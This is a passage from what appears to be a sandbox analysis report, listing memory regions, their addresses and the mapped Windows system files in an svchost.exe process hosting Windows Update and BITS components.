0x21afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\gpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\gpsvc.dll.mui") Region: id = 994 start_va = 0x220000 end_va = 0x22cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\System32\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\setupapi.dll.mui") Region: id = 995 start_va = 0x230000 end_va = 0x233fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "taskcomp.dll.mui" filename = "\\Windows\\System32\\en-US\\taskcomp.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\taskcomp.dll.mui") Region: id = 996 start_va = 0x240000 end_va = 0x249fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schedsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\schedsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\schedsvc.dll.mui") Region: id = 997 start_va = 0x250000 end_va = 0x34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 998 start_va = 0x350000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 999 start_va = 0x450000 end_va = 0x450fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 1000 start_va = 0x460000 end_va = 0x461fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 1001 start_va = 0x470000 end_va = 0x473fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1002 start_va = 0x480000 end_va = 0x481fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000480000" filename = "" Region: id = 1003 start_va = 0x490000 end_va = 0x493fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1004 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 1005 start_va = 0x4b0000 end_va = 0x637fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004b0000" filename = "" Region: id = 1006 start_va = 0x640000 end_va = 0x7c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000640000" filename = "" Region: id = 1007 start_va = 0x7d0000 end_va = 0x88ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007d0000" filename = "" Region: id = 1008 start_va = 0x890000 end_va = 0x8bffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000015.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000015.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000015.db") Region: id = 1009 start_va = 0x8c0000 end_va = 0x8cdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\System32\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\propsys.dll.mui") Region: id = 1010 start_va = 0x8d0000 end_va = 0x94ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 1011 start_va = 0x950000 end_va = 0x957fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vsstrace.dll.mui" filename = "\\Windows\\System32\\en-US\\vsstrace.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\vsstrace.dll.mui") Region: id = 1012 start_va = 0x960000 end_va = 0x960fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000960000" filename = "" Region: id = 1013 start_va = 0x970000 end_va = 0x97ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 1014 start_va = 0x980000 end_va = 0x98ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000980000" filename = "" Region: id = 1015 start_va = 0x990000 end_va = 0x99ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000990000" filename = "" Region: id = 1016 start_va = 0x9a0000 end_va = 0x9affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009a0000" filename = "" Region: id = 1017 start_va = 0x9b0000 end_va = 0x9bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009b0000" filename = "" Region: id = 1018 start_va = 0x9c0000 end_va = 0x9cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009c0000" filename = "" Region: id = 1019 start_va = 0x9d0000 end_va = 0x9d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009d0000" filename = "" Region: id = 1020 start_va = 0x9e0000 end_va = 0x9e7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 1021 start_va = 0x9f0000 end_va = 0xa0bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "firewallapi.dll.mui" filename = "\\Windows\\System32\\en-US\\FirewallAPI.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\firewallapi.dll.mui") Region: id = 1022 start_va = 0xa10000 end_va = 0xa15fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "netcfgx.dll.mui" filename = "\\Windows\\System32\\en-US\\netcfgx.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\netcfgx.dll.mui") Region: id = 1023 start_va = 0xa20000 end_va = 0xa20fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a20000" filename = "" Region: id = 1024 start_va = 0xa30000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a30000" filename = "" Region: id = 1025 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 1026 start_va = 0xac0000 end_va = 0xb3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 1027 start_va = 0xb40000 end_va = 0xbbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b40000" filename = "" Region: id = 1028 start_va = 0xbc0000 end_va = 0xbcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bc0000" filename = "" Region: id = 1029 start_va = 0xbd0000 end_va = 0xbdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bd0000" filename = "" Region: id = 1030 start_va = 0xbe0000 end_va = 0xbe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000be0000" filename = "" Region: id = 1031 start_va = 0xbf0000 end_va = 0xc6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bf0000" filename = "" Region: id = 1032 start_va = 0xc70000 end_va = 0xf3efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1033 start_va = 0xf40000 end_va = 0xfbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f40000" filename = "" Region: id = 1034 start_va = 0xfc0000 end_va = 0xfc1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fc0000" filename = "" Region: id = 1035 start_va = 0xfd0000 end_va = 0xfd0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fd0000" filename = "" Region: id = 1036 start_va = 0xfe0000 end_va = 0x105ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fe0000" filename = "" Region: id = 1037 start_va = 0x1060000 end_va = 0x10c5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 1038 start_va = 0x10d0000 end_va = 0x114ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010d0000" filename = "" Region: id = 1039 start_va = 0x1150000 end_va = 0x11cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001150000" filename = "" Region: id = 1040 start_va = 0x11d0000 end_va = 0x11dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011d0000" filename = "" Region: id = 1041 start_va = 0x11e0000 end_va = 0x125ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011e0000" filename = "" Region: id = 1042 start_va = 0x1260000 end_va = 0x12dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001260000" filename = "" Region: id = 1043 start_va = 0x12e0000 end_va = 0x12effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012e0000" filename = "" Region: id = 1044 start_va = 0x12f0000 end_va = 0x12f7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012f0000" filename = "" Region: id = 1045 start_va = 0x1300000 end_va = 0x130ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001300000" filename = "" Region: id = 1046 start_va = 0x1310000 end_va = 0x131ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001310000" filename = "" Region: id = 1047 start_va = 0x1320000 end_va = 0x1327fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001320000" filename = "" Region: id = 1048 start_va = 0x1330000 end_va = 0x133ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1049 start_va = 0x1340000 end_va = 0x13bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001340000" filename = "" Region: id = 1050 start_va = 0x13c0000 end_va = 0x13cffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1051 start_va = 0x13d0000 end_va = 0x13dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000013d0000" filename = "" Region: id = 1052 start_va = 0x13e0000 end_va = 0x13effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000013e0000" filename = "" Region: id = 1053 start_va = 0x13f0000 end_va = 0x146ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000013f0000" filename = "" Region: id = 1054 start_va = 0x1470000 end_va = 0x147ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001470000" filename = "" Region: id = 1055 start_va = 0x1480000 end_va = 0x14fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001480000" filename = "" Region: id = 1056 start_va = 0x1500000 end_va = 0x1507fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001500000" filename = "" Region: id = 1057 start_va = 0x1510000 end_va = 0x158ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001510000" filename = "" Region: id = 1058 start_va = 0x1590000 end_va = 0x160ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001590000" filename = "" Region: id = 1059 start_va = 0x1610000 end_va = 0x161ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001610000" filename = "" Region: id = 1060 start_va = 0x1620000 end_va = 0x169ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001620000" filename = "" Region: id = 1061 start_va = 0x16a0000 end_va = 0x16a1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000016a0000" filename = "" Region: id = 1062 start_va = 0x16b0000 end_va = 0x172ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000016b0000" filename = "" Region: id = 1063 start_va = 0x1750000 end_va = 0x17cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001750000" filename = "" Region: id = 1064 start_va = 0x17d0000 end_va = 0x184ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000017d0000" filename = "" Region: id = 1065 start_va = 0x1850000 end_va = 0x18cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001850000" filename = "" Region: id = 1066 start_va = 0x1900000 end_va = 0x197ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001900000" filename = "" Region: id = 1067 start_va = 0x19b0000 end_va = 0x1a2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000019b0000" filename = "" Region: id = 1068 start_va = 0x1a80000 end_va = 0x1afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001a80000" filename = "" Region: id = 1069 start_va = 0x1b00000 end_va = 0x1bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001b00000" filename = "" Region: id = 1070 start_va = 0x1c00000 end_va = 0x1cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c00000" filename = "" Region: id = 1071 start_va = 0x1d20000 end_va = 0x1d9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d20000" filename = "" Region: id = 1072 start_va = 0x1db0000 end_va = 0x1e2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001db0000" filename = "" Region: id = 1073 start_va = 0x1e60000 end_va = 0x1edffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e60000" filename = "" Region: id = 1074 start_va = 0x1f00000 end_va = 0x1f7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f00000" filename = "" Region: id = 1075 start_va = 0x1f80000 end_va = 0x203ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 1076 start_va = 0x2060000 end_va = 0x20dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002060000" filename = "" Region: id = 1077 start_va = 0x20f0000 end_va = 0x20fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020f0000" filename = "" Region: id = 1078 start_va = 0x2100000 end_va = 0x210ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002100000" filename = "" Region: id = 1079 start_va = 0x2110000 end_va = 0x211ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002110000" filename = "" Region: id = 1080 start_va = 0x2120000 end_va = 0x212ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002120000" filename = "" Region: id = 1081 start_va = 0x2130000 end_va = 0x213ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002130000" filename = "" Region: id = 1082 start_va = 0x2140000 end_va = 0x214ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002140000" filename = "" Region: id = 1083 start_va = 0x2150000 end_va = 0x215ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002150000" filename = "" Region: id = 1084 start_va = 0x2190000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002190000" filename = "" Region: id = 1085 start_va = 0x22d0000 end_va = 0x234ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022d0000" filename = "" Region: id = 1086 start_va = 0x2410000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002410000" filename = "" Region: id = 1087 start_va = 0x24b0000 end_va = 0x252ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024b0000" filename = "" Region: id = 1088 start_va = 0x2560000 end_va = 0x25dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002560000" filename = "" Region: id = 1089 start_va = 0x2600000 end_va = 0x267ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 1090 start_va = 0x2680000 end_va = 0x277ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002680000" filename = "" Region: id = 1091 start_va = 0x27d0000 end_va = 0x284ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000027d0000" filename = "" Region: id = 1092 start_va = 0x2850000 end_va = 0x28cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002850000" filename = "" Region: id = 1093 start_va = 0x28d0000 end_va = 0x294ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000028d0000" filename = "" Region: id = 1094 start_va = 0x2960000 end_va = 0x29dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002960000" filename = "" Region: id = 1095 start_va = 0x29e0000 end_va = 0x29effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000029e0000" filename = "" Region: id = 1096 start_va = 0x29f0000 end_va = 0x2a2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000029f0000" filename = "" Region: id = 1097 start_va = 0x2a30000 end_va = 0x2a6ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a30000" filename = "" Region: id = 1098 start_va = 0x2a70000 end_va = 0x2aeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a70000" filename = "" Region: id = 1099 start_va = 0x2b40000 end_va = 0x2bbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002b40000" filename = "" Region: id = 1100 start_va = 0x2bd0000 end_va = 0x2bdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002bd0000" filename = "" Region: id = 1101 start_va = 0x2ca0000 end_va = 0x2d1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ca0000" filename = "" Region: id = 1102 start_va = 0x2de0000 end_va = 0x2e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002de0000" filename = "" Region: id = 1103 start_va = 0x2ee0000 end_va = 0x2fdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ee0000" filename = "" Region: id = 1104 start_va = 0x2fe0000 end_va = 0x31dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002fe0000" filename = "" Region: id = 1105 start_va = 0x3210000 end_va = 0x328ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003210000" filename = "" Region: id = 1106 start_va = 0x32e0000 end_va = 0x335ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000032e0000" filename = "" Region: id = 1107 start_va = 0x3370000 end_va = 0x33effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003370000" filename = "" Region: id = 1108 start_va = 0x3410000 end_va = 0x348ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003410000" filename = "" Region: id = 1109 start_va = 0x3500000 end_va = 0x357ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003500000" filename = "" Region: id = 1110 start_va = 0x35a0000 end_va = 0x361ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000035a0000" filename = "" Region: id = 1111 start_va = 0x3660000 end_va = 0x36dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003660000" filename = "" Region: id = 1112 start_va = 0x3710000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003710000" filename = "" Region: id = 1113 start_va = 0x37a0000 end_va = 0x381ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000037a0000" filename = "" Region: id = 1114 start_va = 0x38c0000 end_va = 0x393ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000038c0000" filename = "" Region: id = 1115 start_va = 0x3940000 end_va = 0x3d3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003940000" filename = "" Region: id = 1116 start_va = 0x3d40000 end_va = 0x3dbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003d40000" filename = "" Region: id = 1117 start_va = 0x3e20000 end_va = 0x3e9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003e20000" filename = "" Region: id = 1118 start_va = 0x3ef0000 end_va = 0x3f6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003ef0000" filename = "" Region: id = 1119 start_va = 0x3fe0000 end_va = 0x405ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003fe0000" filename = "" Region: id = 1120 start_va = 0x4090000 end_va = 0x410ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004090000" filename = "" Region: id = 1121 start_va = 0x4110000 end_va = 0x430ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004110000" filename = "" Region: id = 1122 start_va = 0x4310000 end_va = 0x440ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004310000" filename = "" Region: id = 1123 start_va = 0x4430000 end_va = 0x44affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004430000" filename = "" Region: id = 1124 start_va = 0x4570000 end_va = 0x45effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004570000" filename = "" Region: id = 1125 start_va = 0x4690000 end_va = 0x470ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004690000" filename = "" Region: id = 1126 start_va = 0x4710000 end_va = 0x480ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004710000" filename = "" Region: id = 1127 start_va = 0x48c0000 end_va = 0x493ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000048c0000" filename = "" Region: id = 1128 start_va = 0x4990000 end_va = 0x499ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004990000" filename = "" Region: id = 1129 start_va = 0x49a0000 end_va = 0x4a9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000049a0000" filename = "" Region: id = 1130 start_va = 0x4aa0000 end_va = 0x4b9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004aa0000" filename = "" Region: id = 1131 start_va = 0x4ba0000 end_va = 0x4c9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004ba0000" filename = "" Region: id = 1132 start_va = 0x4ca0000 end_va = 0x4d9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004ca0000" filename = "" Region: id = 1133 start_va = 0x4da0000 end_va = 0x4e9ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004da0000" filename = "" Region: id = 1134 start_va = 0x4ea0000 end_va = 0x4f9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004ea0000" filename = "" Region: id = 1135 start_va = 0x4fa0000 end_va = 0x5f9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004fa0000" filename = "" Region: id = 1136 start_va = 0x5fa0000 end_va = 0x601ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005fa0000" filename = "" Region: id = 1137 start_va = 0x6040000 end_va = 0x60bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006040000" filename = "" Region: id = 1138 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1139 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1140 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1141 start_va = 0x76ee0000 end_va = 0x76ee6fff monitored = 0 entry_point = 0x76ee106c region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 1142 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1143 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1144 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1145 start_va = 0xffa90000 end_va = 0xffa9afff monitored = 0 entry_point = 0xffa9246c region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 1146 start_va = 0x7fef2070000 end_va = 0x7fef22c2fff monitored = 0 entry_point = 0x7fef207236c region_type = mapped_file name = "wuaueng.dll" filename = "\\Windows\\System32\\wuaueng.dll" (normalized: "c:\\windows\\system32\\wuaueng.dll") Region: id = 1147 start_va = 0x7fef3ec0000 end_va = 0x7fef3ec9fff monitored = 0 entry_point = 0x7fef3ec3994 region_type = mapped_file name = "bitsperf.dll" filename = "\\Windows\\System32\\bitsperf.dll" (normalized: "c:\\windows\\system32\\bitsperf.dll") Region: id = 1148 start_va = 0x7fef4240000 end_va = 0x7fef44b9fff monitored = 0 entry_point = 0x7fef4272200 region_type = mapped_file name = "esent.dll" filename = "\\Windows\\System32\\esent.dll" (normalized: "c:\\windows\\system32\\esent.dll") Region: id = 1149 start_va = 0x7fef4710000 end_va = 0x7fef472bfff monitored = 0 entry_point = 0x7fef47111a0 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 1150 start_va = 0x7fef4730000 end_va = 0x7fef4791fff monitored = 0 entry_point = 0x7fef4731198 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 1151 start_va = 0x7fef47a0000 end_va = 0x7fef47d9fff monitored = 0 entry_point = 0x7fef47a1010 region_type = mapped_file name = "mprapi.dll" filename = "\\Windows\\System32\\mprapi.dll" (normalized: "c:\\windows\\system32\\mprapi.dll") Region: id = 1152 start_va = 0x7fef4e70000 end_va = 0x7fef4ee0fff monitored = 0 entry_point = 0x7fef4eaecc4 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\System32\\winspool.drv" (normalized: "c:\\windows\\system32\\winspool.drv") Region: id = 1153 start_va = 0x7fef5ef0000 end_va = 0x7fef5fc1fff monitored = 0 entry_point = 0x7fef5f81a10 region_type = mapped_file name = "qmgr.dll" filename = "\\Windows\\System32\\qmgr.dll" (normalized: "c:\\windows\\system32\\qmgr.dll") Region: id = 1154 start_va = 0x7fef60d0000 end_va = 0x7fef60defff monitored = 0 entry_point = 0x7fef60d9a48 region_type = mapped_file name = "mspatcha.dll" filename = "\\Windows\\System32\\mspatcha.dll" (normalized: "c:\\windows\\system32\\mspatcha.dll") Region: id = 1155 start_va = 0x7fef60e0000 end_va = 0x7fef60fafff monitored = 0 entry_point = 0x7fef60e1198 region_type = mapped_file name = "cabinet.dll" filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll") Region: id = 1156 start_va = 0x7fef6830000 end_va = 0x7fef691dfff monitored = 0 entry_point = 0x7fef68312a0 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 1157 start_va = 0x7fef69c0000 end_va = 0x7fef69dcfff monitored = 0 entry_point = 0x7fef69c2f18 region_type = mapped_file name = "mmcss.dll" filename = "\\Windows\\System32\\mmcss.dll" (normalized: "c:\\windows\\system32\\mmcss.dll") Region: id = 1158 start_va = 0x7fef6bf0000 end_va = 0x7fef6c31fff monitored = 0 entry_point = 0x7fef6c20048 region_type = mapped_file name = "tcpipcfg.dll" filename = "\\Windows\\System32\\tcpipcfg.dll" (normalized: "c:\\windows\\system32\\tcpipcfg.dll") Region: id = 1159 start_va = 0x7fef6c40000 end_va = 0x7fef6c59fff monitored = 0 entry_point = 0x7fef6c51ae4 region_type = mapped_file name = "rascfg.dll" filename = "\\Windows\\System32\\rascfg.dll" (normalized: "c:\\windows\\system32\\rascfg.dll") Region: id = 1160 start_va = 0x7fef6c80000 end_va = 0x7fef6c8efff monitored = 0 entry_point = 0x7fef6c86894 region_type = mapped_file name = "ndiscapcfg.dll" filename = "\\Windows\\System32\\ndiscapCfg.dll" (normalized: "c:\\windows\\system32\\ndiscapcfg.dll") Region: id = 1161 start_va = 0x7fef8790000 end_va = 0x7fef879bfff monitored = 0 entry_point = 